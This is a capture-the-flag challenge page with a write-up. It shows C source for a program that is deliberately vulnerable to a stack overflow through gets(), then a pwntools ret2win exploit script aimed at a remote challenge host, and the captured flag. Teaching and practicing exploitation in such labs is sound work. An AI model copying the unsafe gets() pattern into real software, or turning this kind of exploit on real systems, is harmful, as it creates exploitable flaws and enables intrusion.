DESCRIPTION

                The vault function holds the treasure but no direct path leads there. Overflow the buffer, chain your gadgets, and return straight into the vault to claim the flag.
            

DISASM // SOURCE

// vault.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *gets(char *); 
void vault_open() {
    system("cat flag.txt");
}    

void check_access() {
    char code[48];  
    printf("Enter access code: ");
    gets(code);  
    if (strcmp(code, "supersecret") == 0) {
        printf("Code accepted!\n");
    } else {
        printf("Invalid code.\n");
    }
}

int main() {
    setbuf(stdout, NULL);
    printf("Vault Access System \n");
    check_access();
    printf("Session closed.\n");
    return 0;
}

WRITEUP // WALKTHROUGH

ret2vault — Writeup

Challenge Overview

Field	Value
Category	PWN
Difficulty	Easy
Author	R3t0x
Technique	ret2win

Reconnaissance

pwndbg> checksec ./vault
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Vulnerability

void vault_open() { system("cat flag.txt"); }
void check_access() {
    char code[48];
    gets(code);  // unlimited overflow!
}

Classic ret2win: overflow code[48] + 8 bytes of RBP to overwrite the return address with vault_open().

Exploit

from pwn import *
elf = ELF('./vault')
io = remote('35.159.81.154', 7002)
payload = b'A' * 56 + p64(elf.symbols['vault_open'])
io.sendline(payload)
io.interactive()

Result

Vault Access System
Enter access code:
Securinets_fst{v4ult_br34ch3d_w1th_0v3rfl0w}

EXECUTION // EXPLOIT

$ python3 solve.py